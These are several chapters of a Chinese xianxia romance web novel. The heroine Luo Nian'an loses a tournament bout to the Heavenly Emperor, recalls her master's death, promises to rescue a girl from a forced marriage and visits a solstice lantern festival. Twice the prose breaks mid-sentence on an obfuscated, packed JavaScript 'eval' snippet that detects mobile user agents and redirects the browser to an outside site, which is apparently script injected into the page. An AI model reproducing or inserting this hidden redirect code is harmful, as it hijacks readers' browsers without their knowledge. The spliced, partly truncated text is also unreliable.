“这个，”洛念安抬手搔了搔脸颊，无奈笑道，“这种事情也不是绝对的吧，不太好说。” 赫连昭道：“就是，你操什么心？有帝君帝后托着，再差能差到哪里去？”说完他猛地闭上嘴巴。 柳渊瞪了他一眼，而后两人齐齐朝洛念安看去。 “……”注意到身上的两道视线，洛念安一边抬起一只手，微笑着道，“两位不必如此哈，我早已不甚在意这些事情。” 六亲情浅而已，她都接受。 如柳渊所料，上仙里最后胜出者并非洛霁禾。 即便不是他，洛念安还是被胜出者点名一战。颇有些不战胜她誓不罢休的意思，最终的现实就是这个休是如何也罢不了了。 不过上台之前柳渊去劝洛念安放放水，让对方输的好看些。她也听了劝，没有三招之内以枪抵喉，推迟到第五招了。 柳渊一手扶额，忍不住问道：“她到底听进去了吗？” 赫连昭点头：“听进去了，这不是第五招才结束战斗的。” 柳渊瞥了他一眼：“......我说，太驳人家面子也不好，都是同僚，抬头不见低头见的。” 赫连昭看过去：“有什么不好的？面子是自己挣的，太给面子马上大家都觉得我师父好欺负。神界谁不慕强？难道你不仰慕坐在最高处的那一位吗？没实力谁会搭理你？” 柳渊道：“我承认你说的很对，但是你看败在念将军手下的那几个，哪个看她的眼神是服气的？” 赫连昭道：“管他们做什么？等他们飞升成神再说吧。不服？还是打少了，多打几顿就服了。” “......”柳渊沉默片刻，道：“要不说你俩是师徒呢。” 赫连昭忽然笑着看他：“是吧？你也觉得我和我师父一样厉害吧？” “......”柳渊白了他一眼：“行了，闭嘴吧，真服了。” 洛念安战胜下台，周身的喝彩声似乎比开始多了许多。 “念将军，”柳渊站起身道：“很快哦。” 洛念安笑了笑，道：“还是慢了一些。” 赫连昭忙着给她拿枪递水：“歇一会儿吧师父，一刻钟后就是你与帝君的比试了。” “谢谢。”洛念安转身坐上椅子。 柳渊道：“哎呀，不用紧张，这可是个讨教的好机会。” 洛念安喝了口茶，点头道：“没紧张。” 要说一点没有也不可能。 洛君逸的厉害都在传闻之中，她从未亲眼见识过，他也从不曾教导过她。幼时他们都没想过教她习武，她当初会的那点皮毛都是照着书本偷偷学来的。 “帝君，”洛念安看着洛君逸，印象里他一直都是这样威严的存在，他只是握着剑立在对面，便压迫感十足，“请指教。” 洛君逸垂眸望着她，一副睥睨众生之态，启唇道：“珈洛，表现不错。” 他的褒奖，和他这个人一样高高在上，如同一场恩赐。 洛念安心无波澜，垂下眸道：“多谢帝君夸奖。” 洛君逸弯唇笑了，继而道：“期待你日后的表现。” 洛念安纳闷抬眸，对上他的视线，微微一愣。他的眸子里分明透出满意之色，可是他在满意什么？ 擂鼓声起，战局开。 洛念安不得不拉回飘走的思绪，全心全意投入对局。 洛君逸好整以暇地看着她，似在等她先行发起进攻。 长枪横在身后，洛念安习惯性执枪在身后转了一圈，将枪转至身前，五指收紧，对着他直直刺了过去。 洛君逸的剑并未出鞘，似乎并不把这攻势放入眼里，抬手一挡，便挡下一击。 龙吟横向一扫，紧接着从上劈下，再挑，再刺。 每一击都被轻松挡下，甚至她的枪尚未到地方，洛君逸的防势便已做好。 洛念安蹙下眉头。她知道洛君逸实力强劲，但他们此前从未交过手，他又是如何预判她下一招会落在哪里？ 难不成仅凭之前那几场比试就已熟知她的枪法？ 长枪抵着剑鞘。 对视间，洛君逸轻勾唇角：“这就是你的实力？” 洛念安紧紧盯着他，闻言道：“当然不是，开胃小菜而已。” 她翻身一跃，长枪划破长空袭来，声似龙鸣。 洛君逸反手格挡，被击退两步，他站定后，挑眼看向洛念安，嘴角弧度更加明显：“不错，这才像话。” 他终于拔出了剑，手握剑柄在身后绕了一圈。 洛念安看着他，动作一滞，但很快反应过来，一招接着一招袭去。她心中憋着口气，因着这股气招招势如破竹。洛君逸也由抵挡转为进攻，枪剑相抵，撞出火花。 台下几乎整个神界的神神仙仙都在围观，被这战局扣动心弦。 随着战局深入，洛念安的眉头越蹙越深，出招也是越来越快，越来越狠。 “太急了。”洛君逸抬剑挡着她的长枪，语重心长道：“珈洛，你这样打下去，会输的。” 洛念安却望着他问道：“帝君，您一直都是用剑的吗？” 闻言，洛君逸忽然笑了笑，道：“你是觉得，本君的剑使得不好吗？” 洛念安微微一怔，道：“不，很好。抱歉，是珈洛冒犯了。” 洛君逸弯了弯唇，忽地扬手一抬，洛念安猛地被击退数步。他似乎耐心耗尽了一般，接下来的攻势愈发猛烈。洛念安必须全神贯注，尚且能抵挡回击。直到洛君逸剑锋横扫，又一剑劈下，洛念安看着他的招势猛地一怔，竟完全没有任何抵挡之势。剑锋闪着寒光，在她头顶的三寸之处堪堪停下。 “你输了，珈洛。” 擂鼓声起，比试结束，洛念安败。 喝彩声，鸣掌声从四方传来，经久不绝。 “帝君最后那一击实在是漂亮，学到了。” “是啊，那一招真是不多见。” 渊、昭二人在高台上都惊呆了，对视一眼，齐步往台下去，迎上缓缓从比试台上下来的洛念安。 柳渊道：“念将军？你怎么了？最后那一下怎么不挡啊？” 赫连 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“没有，”易桉穿过玉兰树，树上盛开着满满的玉兰花，笑意盈盈地走向她：“得知姐姐前来，我自要出来迎接。” 洛念安望着他，道：“神界举办了一年一度的比武大会，方才结束。” 易桉停在她面前，垂眸看着她，笑着道：“我知，恭喜姐姐所向披靡，拔得头筹。” 洛念安弯唇笑了笑，小声道：“谢谢，我应该能拿到十万功德，然后，想请你吃饭，可以吗？” 闻言，易桉轻笑几声，语调微扬，透着愉悦：“当然可以，能分享姐姐的喜悦是我的荣幸。” 他这么说，洛念安倒有些不好意思了，抿着唇，低垂下眼眸。 易桉弯腰，平视着她：“姐姐今日来找我，只是为了这件事吗？” 洛念安摇摇头，却忽然有些迷茫，无言片刻后，她诚实道：“我一时不知该如何说。” 易桉笑了笑，直起腰道：“不着急，我有的是时间，姐姐慢慢想。我们先进去吧，姐姐还没吃饭呢吧？不如我下厨做些姐姐爱吃的？” “好，”洛念安已经习惯易桉热情好客爱下厨的做派，应道：“那我来帮忙打下手。” 洛念安说是打下手，实际上—— “水凉，姐姐别动，我来洗。” “刀锋利，姐姐小心割了手，我来切。” “火自己会烧，姐姐不必劳累。” “……”于是洛念安只好搬个小板凳坐在一旁，托着腮看着易桉在灶台前忙碌。 事实上他看着也不是很忙，自始至终都井井有条有理有序，一副从容不迫之态。现下衣袖挽起，露出结实的小臂，青筋分明。一边执勺，一边望着洛念安发笑。 “……”洛念安思绪一滞，问道：“笑什么？” 易桉道：“没什么，就是高兴。” 看来他真的挺爱做饭的。 洛念安更加坚信了这一点。 她继续拖着腮，思绪流转，转到某处，忽然停住，又飘了回来，目露迷茫。她看向易桉，道：“小桉，我今日与天帝战了一场。” 闻言，易桉点头道：“嗯，我知道。” 洛念安继续道：“但是我似乎发现了一件事情。” 易桉道：“什么？” 洛念安：“他的招式，与我的师父有些相像。” 50. 与君夜话念故人恩 易桉眉头微挑，停下手中的动作，望着她，静待下文。 但洛念安的思绪又飘走了，不知道什么时候才能飘回来。 易桉见她发呆，轻轻笑了笑，动手将锅中的菜盛出，放置一边。然后抱臂倚在桌边，耐心等待。 洛念安眼眸一转，对上他的视线，思绪瞬间回笼：“抱歉。” “没关系。”易桉笑着，道，“先吃饭吗？” “好啊。”洛念安站起身，想要去端菜，手腕却被人握住。 她抬眸，易桉道：“我们坐下等着就好。”说着，他轻轻拉着洛念安往出走。 席间并没有人先开口说话，饭后，易桉带着她去了一处地方。 前面是深不见底的崖谷，圆月挂在崖边，仿佛伸手就能触到。 洛念安也真的伸手去触了，只是并没有碰到：“今日是十五吗？” “嗯。”易桉点头。 他们在崖边席地而坐，洛念安身下垫着易桉的披风。她望着眼前的月亮，喃喃道：“圆月，太阴，太阴仙。”她说着，笑着扭头看向身侧之人。 易桉轻声笑了笑，望着她，眸中映照着清冷的月光。 洛念安好奇问道：“传言你总是在月圆之时出现，为何？” 易桉双臂支在身后，屈起一条腿，道：“心情好，圆月会给我带来好运。” 洛念安笑了笑：“原来如此。”停顿片刻，她又问，“你经常来这里吗？” “嗯，”易桉道：“心情不好时会来，这里月色很好。” “是啊。”洛念安抱着双膝，她能明白易桉带她来此处的目的。空气静默了一会儿，她道：“跟着师父学武时，我常常鸡鸣时起，练到月至中空。” 易桉道：“姐姐这样用功，难怪实力超群。” 洛念安轻轻一笑，道：“我师父十分严格，每月月末我都要与她比试一番，若她觉得我此月毫无进步，会罚我的。” 易桉望她：“罚的很重？” 洛念安看过去，道：“对啊，那时我最怕的就是每月与她比试的时候。”她又转而看向天上的月亮，“但是师父对我很好，那时我独自一人在人间，成日漫无目的地瞎走，无处可去，是她收留了我，不仅带我修行，还照顾我的衣食起居，无微不至。其实我一开始也是练剑的，后来师父说我不适合用剑，适合用枪，她便教我使枪，龙吟也是她送给我的。她真的教会了我许多。可惜，”她顿了顿，语气透着哀伤，“我总是固执己见，不听劝告。” ...... “师父，为何不救？那可是几十条人命啊！”洛念安长发高高束起，垂直腰间。她一手握紧龙吟立在地上，一手叉腰，颇有些气势汹汹。 她的师父端坐在案边，闻言看向她：“她们的命她们父母都不在意，又何时轮到我们去在意？” 洛念安蹙眉，眼中满是不可置信：“那我们就这样眼睁睁看着那些无辜女子落入虎口？” 师父的语气加重了几分：“安儿，人各有命。她们命数如此，你擅自干预，会被因果反噬的你清楚吗？” “我不怕！”洛念安转身欲往门外走：“有什么报应尽数落在我身上就是，但是现在，我不能看着她们白白送死。” ...... 洛念安道：“我与师父云游至那处地界，听闻当地山贼横行霸道，常常抢劫路过商队。那些商人为了让自己的货物顺利通过，竟花低价从山下村民家中买来女子，送给那些山贼示好。我们得知有大商户竟一次性送去二十二位，我怜悯那些可怜女子，更对这种行为气愤不已。于是，我不听师父劝阻，带着龙吟闯进山贼的老巢。” 易桉问道：“最后救下来了吗？” 洛念安点头，沉默片刻，道：“救下来了。” 易桉道：“那便好。” 洛念安扯扯唇角，继续道：“我自以为自己在做好事，做正确的事，我不信我会因此遭到报应，可是报应真的来了。来就来吧，我本也不怕，反正我又死不了，但是我没想到，我的师父，替我挡下了这场报应。”她说着，忽然陷入了长久的沉默，许久，才道，“那些村民觉得我挡了他们的财路，便要报复我。那天晨起，我如往常一般到山间林中练功，待我晌午回去，便看见我师父......的尸体，躺在院中。” 她蜷紧自己的身体，下半张脸埋在臂弯中。 背后覆上来一只手，轻轻地拍打着她。 易桉的声音和他的动作一样轻柔，他道：“按姐姐所说，尊师的武功应在姐姐之上，又为何会葬身于山间村民之手？” “师父善卜算，重因果。我跟在她身边五年，她靠卜算养活了我五年。这五年间，我仗着自己有几分本领，到处多管闲事。”洛念安顿了顿，继续道，“她每每都劝我，不要干预他人因果，我每次都不听，也从来没有什么报应找上我。后来，我在师父的遗物中发现一张信纸，上面写着她对我说的话。她说……她算到过往的因果反噬会聚成一道大劫落在我身上，她早已想好替我挡下。” ...... “安儿，为师身死之日，即劫难破解之时，无需因此自责难过。” “吾孑然一身，唯有你在身旁尚享天伦之乐。吾此生别无他愿，惟愿吾徒岁岁平安。” 往后的许多年，洛念安都活在永无止尽的悔恨、痛苦、自责之中，她想杀了那些害死她师父的人，又觉得她最该杀死的，应该是她自己。 ...... “是我的错。” 一阵微风吹过，吹落了洛念安眼眶里蓄满的泪水。 “是我死性不改，害死了我的师父。” “错的是那些山野刁民，不是你，你没有做错任何事情。” 洛念安摇了摇头，眼中落下的泪水更多。 易桉望着她的背影，忽然叹了口气，道：“我就知，你会如此。” 洛念安微微一怔，有些听不懂他的话了。 “姐姐到底错在哪里？”易桉坐直身子，微微弯腰探过去看着她，道：“错在救下那些女子吗？” 洛念安愣住，眼睛一眨不眨地望着他。 易桉继续道：“你没有做错任何事情，既无错，何谈报应？该遭报应是那些真正做错事的人，该痛苦该自责的也是他们。姐姐，不应该是你。” “可是……”洛念安缓声道：“我的师父的确因我而死啊。” 她抬眼看着易桉，他就坐在她身旁，宽大的手掌还覆在她的后背上。此刻，堆积了几百年的情绪仿佛突然被打开了一个宣泄口，一瞬间，那日的无措、害怕、委屈、自责还有钻心蚀骨的痛苦通通一涌而出，如同她开了闸的泪水。不知是什么推着她，让她完全控制不住自己，猛地扑上前去，双手紧紧攀住易桉的肩膀，埋首在他身前嚎啕大哭。 “她去世时身上没有一处好的地方……没有一处……满身满地都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784524|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是血，都是血啊……她肯定很疼，她一定疼死了吧……是我的错，是我对不起她……” 易桉咬着牙，一语不发，只一味将她紧紧搂在怀中。 …… “我看你根骨奇佳，不如跟着我习武，我必授你毕生所学。” “当真？” “自是当真，你可愿意？” “愿意愿意！徒儿拜见师父。” “天气冷了，为师为你缝制了一件新衣，你试试，合不合身？” “合身的，我太喜欢了，谢谢师父！” “怎地这么不小心？为师看看，疼坏了吧？” “不疼的师父，小伤而已，没事的。” “慢些吃，锅里还有呢，为师去给你盛。” “谢谢师父！我练功实在是太饿了，我还要吃一大碗！” “安儿又长大了一岁，许个愿吧，为师听听能不能替你实现。” “那我就许愿……永远陪在师父身边！” …… “所以，当我发现他的招式与我师父有些相像时，很震惊。” “震惊到剑悬于头顶三寸之处而不动？” 洛念安愣了愣，侧眸看向易桉，无奈笑道：“真是什么都瞒不住你。” 易桉道：“太危险了。” 洛念安眨了眨眼：“天帝又不会真的伤到我。” 易桉却道：“这谁知道。” 洛念安一怔：“啊？” 易桉笑了笑，道：“我的意思是，无论对方是谁，都不可大意。” 洛念安点点头，回归正题道：“所以这是巧合吗？” 易桉垂眸，似乎思索了片刻，才道：“尊师应非独创一派，天帝也是。” 洛念安明白他的意思，说到底大家都是从别处学的，至于会不会学到一样的东西，谁又说得准。 “还有一点，”洛念安道：“说来你可能不信，我总觉得天帝他似乎不是用剑之人。” 易桉扬眉：“我为何不信？姐姐说什么我就信什么。” 洛念安愣了一下，看向他，又垂下眸道：“我很认真在说的。” 易桉弯唇笑道：“我也很认真在说啊。” 洛念安的下半张脸又重新埋进臂弯里。 易桉轻笑了几声，又正色道：“我没跟他打过，他具体用什么法器，我不太清楚。” 洛念安抬起头道：“他的法器是剑没错。”说着，她蹙了蹙眉，“但我总觉得有些别扭，也说不出哪里别扭。” 易桉笑了笑：“姐姐觉得他剑使得不好？” 洛念安连忙摇头：“不不不，使得很好不错。反正就是……也许是他许久没拔剑了，有些生疏，以他的实力，估计很少有能让他拔剑的时候。” 易桉哈哈笑了几声，然后道：“天帝在神话里待久了，第一次听姐姐这样评价他，真是有趣。”顿了顿，他继续道，“还有一种解释，那就是他年纪大了，不中用，也该退下那个位子，给姐姐坐。” 闻言洛念安几乎是大惊失色，她连连摇头，胡乱摆手：“不不不不不不……” 易桉看向她：“姐姐何须如此谦虚，如今神界除了你，还有谁有本事坐上那个位子？不给你，我就打上去。” 洛念安眼睛睁得更大了，双手慌忙握住易桉的小臂，连声道：“别别别，别打别打，别人不坐，当然我也不坐，天帝如今坐在那挺好的，挺好的。” 51. 冬至夜许祈天灯愿 “洛姐姐，我回来了！”叶蓉提着大包小包的东西回到玉兰观。 在灶台边忙碌的洛念安赶紧迎了出来，接过她手上的东西，二人一齐回到屋内，将东西放置在桌上。 叶蓉一边点着一边道：“鸡、鸭、鱼、肉、辣椒、盐，该买的应该都买好了，这酒我打听过，是这一带最有名的，便买来了。洛姐姐你看看还缺什么，我再去买。” “够了够了，”洛念安道：“早上村民还送了些自己种的菜来，加上这些足够了，辛苦你。” “嗨呀，都是我应该做的。”叶蓉摆摆手：“怎么说，我们现在开始准备吗？他们何时过来？” 洛念安抿了抿唇，道：“大抵要到晌午了吧，他们尚有任务在身。不过我们提前准备着准没有错。” “好，”叶蓉爽快应下，说着提起鸡鸭鱼道：“那我先去河边把它们洗干净。” 洛念安想要伸手去接：“我去吧，你歇一歇。” 叶蓉手一抬躲了过去，道：“现在河水太凉了，还是我去，我不怕凉。”说着她便抬步出门，边走边道，“洗几块肉又不会把我累死。” 洛念安无奈笑了笑，便到灶台边继续忙着备菜。忽听叶蓉在院中唤她，她转身迈出房门，随即见到一位小姑娘快速冲进院门，视线落在她身上，直直朝着她就来了，猝不及防扑通一下跪在她面前。 小姑娘泪眼婆娑，连连求着：“仙人救命，求求你，救救我……” 洛念安愣了一下，弯腰伸手要扶她起身。奈何小姑娘铁了心要跪，怎么扶都扶不起来。 洛念安叹了口气，假意道：“你若执意要跪，我便不应你了。” 闻言，小姑娘一边抹眼泪一边顺着洛念安的力道从地上起身，弓着腰勾着背，哭得气都喘不及。 洛念安伸手搂住她，将人带进屋，在桌边坐下，倒了杯水放在她面前，又递了块帕子给她。 叶蓉肉也不洗了，凑了进来，挡在门口，看那姑娘一个劲儿地哭，出声道：“别光顾着哭了，说正事吧。” 话音一落，姑娘的哭声戛然而止。她怯怯看了叶蓉一眼，又转向洛念安，一边擦拭着脸上的泪水一边小声道：“仙人，我爹娘要把我卖给隔壁村的一个光棍，可是那个人之前的媳妇就被他喝醉酒打死了，我们两个村都知道这件事。我真的不想嫁给他，求求你救救我……” 闻言，洛念安忽地蹙紧眉头，抿唇不语。 叶蓉问道：“把他媳妇打死了？你爹娘不知道这事儿吗？” 小姑娘的眼泪又簌簌往下落：“知道的，但是......但是他彩礼给的高，说之前是喝多了不小心的，还跟我爹娘保证不会再打人了。” “他放屁！”叶蓉突然扬声：“俗话怎么说的？狗改不了吃屎！” 话糙理不糙。 叶蓉显然是还没解气，又亲切问候了他们二老的身体情况：“你爹娘脑子没事吧？怎么想的？” “他们想要给我小弟凑钱娶媳妇，没办法，家里穷，我不出嫁，我小弟就娶不起媳妇。” 叶蓉气得直笑：“自己娶不起就去死，做什么要你去送死？！还有那个男的才是真该死，活着除了会吃喝拉撒祸害别人还会干什么？真是多余活着。你说是吧？洛姐姐。” 话头突然抛在洛念安身上，她猛然回神，见那女子被叶蓉吓住，正无措地看着自己。她起身过来伸手抓住洛念安的胳膊，如同抓住救命稻草一般，作势又要往下跪：“仙人，求你了，救救我吧，我真的不想嫁，嫁给他我真的会活不了的......” 洛念安拖住她不让跪。 现实与往事重叠，洛念安沉默地看着她，半晌，问道：“多少彩礼？” “二两银子。” 叶蓉拔高声音：“二两银子就卖女儿？！” 一句话说得小姑娘无声落泪。 洛念安看过去，轻声提醒道：“小蓉。” 叶蓉闭紧嘴巴。 洛念安又看向她，温声问道：“你叫什么名字？” 女子怯声道：“我叫柳招娣，仙人可以唤我招娣。” “......”洛念安闻言却是轻轻蹙眉，出声道：“柳姑娘，你的婚事定到了何时？” 柳招娣似乎微微一愣，才道：“下月初一。” 洛念安点头，又问：“你来时，可有旁人看见了？” 柳招娣摇头道：“没有，我偷偷跑来了，我怕人看见找我爹娘告状，他们就不让我出门了。” “我知道了，”洛念安垂下眸，轻声道：“你先回去吧。” 柳招娣瞬间慌了：“仙人......” “我会帮你，”洛念安抬眸看向她，“只是现下，我需要一些时间想一个万全之策。” 听到她这么说，柳招娣瞬间笑了，笑容明媚，抓住她的手，连连鞠躬：“谢谢仙人，谢谢你，那，那我现在回去......仙人，你一定会来救我的对吗？” 洛念安抿唇，须臾，点头道：“嗯，放心。” 柳招娣离开时左顾右盼，十分小心翼翼。 叶蓉目送着她离开，又转身进屋，一边撸袖子一边道：“洛姐姐，万全之策我已经想好了，我现在就是宰了那个畜生，他死了，婚事自然就取消了。” 洛念安切菜的动作一顿。墨色长发束起一半在脑后，侧面散落几缕遮住面颊。她微微侧眸，沉吟片刻，手上的动作继续，同时出声道：“她悲剧的来源并非是那要求娶她的男子，而是她的父母。就算那男子死了，她的父母还会为了下一个二两银子将她推向深渊。” 叶蓉一下子泄了气：“那该怎么办？” 洛念安轻叹一声，道：“容我想想。” 叶蓉去洗肉了。 “叩叩——” 洛念安顺着声音看去，视线里一道修长的身影倚着门框，手执一捧雪白的月季花，正笑意盈盈地望着她。 “小桉？” “姐姐。” 洛念安放下菜刀，在木盆里洗了下手，四处找抹布想擦手，没找到，便只能随意甩了甩手上的水，迈步过去，看了他一眼，视线又被他手中满捧盛开的月季吸引了过去：“这是？” 易桉将花举到她面前：“觉得好看，便想着送给姐姐。” “谢谢，”洛念安伸手接过，面上是止不住的笑意，“真的很好看，我很喜欢。”她说着，转身捧着花来到供桌前，把牌位两侧花瓶里蔫巴的干花取出来，然后将手里的花束一分为二插进花瓶，仔仔细细地摆弄好。 易桉负手在屋内转了一圈，最终停在灶台边，垂眸看了几眼。等洛念安弄好花过来，他忽然伸手握住她的手腕，抬起，另一手执一块方帕，低头仔细擦拭着她手上的水渍。 洛念安僵在原地，盯着他的动作无法思考，一呼一吸都变得极轻。 叶蓉提着洗好的肉回来时，刚好看见这一幕，她脚步一顿，一转，非常识趣地转身正欲再去把肉洗洗。便听见易桉的声音传出：“姐姐，你们这是，在准备过年？” 洛念安猛地想起今日的正事，莫名有些心虚，她眼神左右飘忽，顿了顿，道：“今日是打算邀请柳将军与赫连将军前来吃午饭的。” 闻言，易桉动作一顿，原本上扬的嘴角瞬间落下，抬起眸看向她，好半晌，才道：“哦，是我来的不巧了。” “不不不，”洛念安抬起另一只已经擦干净的手，使劲儿摆了摆，有些慌乱道：“不是这样的，我一早说好请他们吃饭，后来他们说就在玉兰观吃就好，便挑了今日。” 易桉将她另一只手也擦好才松开，一边叠着帕子，一边垂着眸淡声道：“哦，原来姐姐不只是请我一人吃饭。” 洛念安更加慌乱了，两只手抬起来一起摆：“不是不是，我原本打算单独邀请你的，只是目前尚未确定好地点。他们是自己已经商量好了，便定下来了。你今日来得正巧，不如就留下来一起。当然这次不算我请你的，待下次，我确定好地方再邀请你，可以吗？” 易桉望着她，嘴角又重新扬起：“姐姐单独请我吗？” 洛念安点头：“是啊。” 易桉笑道：“那好。” 见状，洛念安总算松了口气。 门口的叶蓉更是松了好几口气，蹑手蹑脚地进门将肉放在灶台上，又悄无声息地出去了。走了一半忽觉不对，又折回去，犹豫片刻，开口道：“二位要不先出去歇着，我来备菜。” 最终，还是到门口待着的人还是叶蓉。 因为洛念安执意自己动手，让她和易桉歇着。 易桉又执意帮忙。 故而屋内已经容不下第三个人，所以叶蓉出来了。 易桉正挨着洛念安立在灶台边，有一下没一下地切着手里的东西，看着很不走心。他看向身侧认真洗菜之人道：“姐姐，今日冬至，夜里有一处灯会，要一起去吗？” 话音刚落，柳渊摇着扇子就进来了：“灯会？什么灯会？刚好我晚上有空啊，好久都没赶过人间的灯会了，我也要去。” 赫连昭挤在他身后：“什么灯会？我也去。” 易桉：“......” 洛念安闻声看过去，微笑道：“柳将军，阿昭，你们这么早就来了。我也是才听小桉说有灯会，既然大家都有空，那就一起去吧，人多热闹嘛。”她又转向易桉，笑吟吟问道，“可以吗，小桉？” “......”易桉望着她，微笑着，从牙缝里挤出两个字：“可以。” 柳渊不知死活地凑过来，伸着脖子看了一眼，惊奇道：“鬼王阁下亲自下厨吗？”顿了顿，他诚实道，“那我有点不太敢吃。” 易桉放下菜刀，森然笑道：“我看你也没命吃。” “......”柳渊自觉缩回脖子，岔开话题道，“念将军竟备了这么多菜吗？太客气了。” 洛念安微笑道：“应该的。” 赫连昭挤上前来：“你去歇着吧师父，我来弄。” 闻言，洛念安和柳渊齐齐看向他，异口同声道：“你会做饭？” 赫连昭只觉一阵莫名：“做饭而已，很难吗？” 柳渊道：“你不是金贵的储君殿下么？怎么吃饭还要你自己做啊？” 赫连昭瞪了他一眼，道：“后来不是了，不自己做饭吃等着饿死？” 柳渊自觉心虚，以扇遮住半张面。 洛念安垂下眸，沉默不语。 片刻后，柳渊道：“那正好，我也来学一学。” 这小灶台边是如论如何也挤不下四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一下去就无所事事地东看一眼西指一手，赫连昭忍无可忍：“你实在不行滚出去呢？” “切，好心指点你还不乐意。”柳渊撇嘴，坐到了洛念安身边。 坐了一会儿，他的扇子越摇越快，越摇越快，他发现易桉落在他身上的视线让人瘆得慌，犹豫了一会儿，终是忍不住移到赫连昭身边去了。位置一换，易桉就没再看他了，那种毛骨悚然的感觉终于消失，柳渊顿觉浑身轻松，又四处看了一会儿，然后问道：“美女鬼，我看你今日不甚高兴啊，发生什么不好的事情了？不如说来听听？是人界的事还是鬼界的事？人界的事我差不多能帮忙解决，鬼界的事……我也有人脉。” 洛念安诧异抬眼：“你有人脉？” 柳渊咧嘴笑道：“念将军你有人脉不就相当于我有人脉嘛。” 洛念安下意识看了易桉一眼，选择保持沉默。 “？”易桉顿了顿，侧目瞥向柳渊，“就说你做的东西有毒。” 叶蓉笑了一下，道：“谢谢你的好意啊，不过不用了。” “那好吧。”柳渊点点头，又继续胡乱指挥赫连昭打牌。 赫连昭白他：“你是想让我赶紧输完好下场你上吧？” 柳渊以扇遮面看向他处：“很明显吗？” 赫连昭无比嫌弃：“赶紧走，别坐我身边。” “切，谁稀罕。”柳渊不甘示弱地瞪了他一眼，转而坐到了叶蓉身边。 入夜，五人离开玉兰观，由易桉带领来到了他所说的冬至灯会。 几人寻了一处酒楼，一人点了一碗热腾腾的饺子。吃饱喝足，才深入去逛灯会。 这场灯会的规模并不大，其实也不算灯会，倒像是一场集会。因为此处并不像元宵灯会那样到处都是花灯，反而都是一些售卖各种各样东西的商贩。 洛念安走在易桉身边，好奇问道：“为何这处冬至也会办灯会？” 易桉回道：“很多年前，此处闹了一场很严重的饥荒，秋去冬来，冻死饿死了许多人，剩下来的人只能祈求上苍保佑。直到如今，这里的人们每年冬至都会举办一场这样的灯会。” “可是，”洛念安道，“这里仿佛不像是灯会啊。” 易桉笑了笑：“之所以称为灯会，是因为戌时到，人们都会赶往前方的祈天河边，放飞祈天灯，以祈祷安然度过岁冬。” 洛念安闻言，微微笑道：“原来如此。” “念将军！”柳渊从后面蹿到前面来，突然往洛念安手里塞东西，“我们听说这里戌时会放祈天灯，便去买了几盏，喏，你俩一人一个。前面河边好像能写字，到时候可以把你们的心愿写上去。” 洛念安猝不及防接下两盏祈天灯，懵然道：“多谢。” “不谢。”柳渊随意摆摆手，又凑到后面去。 洛念安回头看了一眼，发现他们三人停在一处小摊前，不知在看些什么。她弯唇笑了笑，将手上的灯递给易桉一盏，道：“似乎有人已经在往那边走了，我们也去吧？” 易桉接过灯，笑道：“好。” 52. 真真假假假假真真 “所以，姐姐今日是被何事所扰呢？” 洛念安微微一怔，转而看向易桉，弯唇笑了笑：“这样明显吗？” 易桉勾唇笑道：“没有，姐姐隐藏得很好，若是只用眼睛看自然看不出。” 洛念安低眸一笑，望着源源不断飞升的祈天灯，将柳招娣的事情道了出来。她继续缓声道：“我答应了她。” 易桉道：“我知道。” 洛念安无声叹了口气：“我大抵就是这样了，死性难改。” 易桉迈步往她身侧靠去，出声道：“姐姐无错，为何要改？” “其实我不知该如何做，不知何为万全之法。”洛念安侧眸看向他。 易桉对上她的视线，道：“不如姐姐先说说，目前的想法。” 洛念安道：“我觉得她应该脱离她的父母，但我不知她是如何想的，也不知她离开家又能做些什么养活自己。” “我倒是知道一处地方，”易桉道，“名为青娥堂，堂主是为女子，此地专门收留一些无家可归或者从家中逃离出来的落难女子，堂主会招揽活计，她们便能依靠双手赚些银两养活自己。” 洛念安睁大双眸，觉得甚是惊奇：“竟有这样的地方？想来那堂主也并非一般的女子。” 易桉弯唇笑了笑：“那青娥堂堂主我并不了解，只是知道姐姐先前对一些落难女子施以援手，便对那处多留意了些。” 困扰她的事情有了解决之法，洛念安顿感轻松，不由露出笑意：“既然是从鬼王大人这里得来的消息，想必十分可靠。如此，我便知晓该如何做了。谢谢你，小桉。” “谢什么？”易桉双臂交叠在身前，挑眉看她，“就因我说了几句话？” “还有，”祈天灯照亮了河面，也映亮洛念安的眸光，她的声音很轻，很柔，“那个心愿。” 从灯会回来，洛念安便将解决办法告诉了叶蓉，接着道：“你且先寻个时候去问问那柳姑娘的意愿，切记不要被旁人知晓。还有与她定下亲事那人之事，也需查一查。” 叶蓉爽快答应，站起身道：“没问题。” 洛念安也跟着站起身，笑容满面道：“我今日要去神界领我那十万功德，待我回来，我们就去逛集市，买两身新衣，如何？” 叶蓉高兴鼓掌：“好啊好啊，那我要在你回来之前把事情办妥。” 洛念安抬起一只手，叶蓉了然一笑，抬手与之击掌。 “一切顺利。” “顺利顺利！” 洛念安高高兴兴地赶往寻真阁，在账单卷轴末尾写上自己的名字后，高高兴兴地抱着自己的十万功德离开。将功德放进自己殿中，取了一些够用的带在身上，然后走出殿门，半路转到柳渊殿中，发现他出任务去了。于是又转去赫连昭的殿中，得知他也出任务去了。 只有自己是闲人一个。 洛念安蹲在路边发了会儿呆，然后站起身，决定去讨点活儿来干干。她转身，迈步往寻真阁去。一路上能看到的神神仙仙寥寥无几，大家似乎都忙得神龙见首不见尾，方才在寻真阁，锦和淹没在卷轴里都快拔不出身了。 但是，事实上，他拔出来了。 看见锦和的身影从拐角一闪而过时，洛念安以为自己看花了眼，快走几步跟上去，仔细看了看，发现还真是锦和。 她原本就是要去寻真阁找锦和讨活干的，结果锦和没在工位上。 不过，这个方向是......他去清漓殿做什么？ 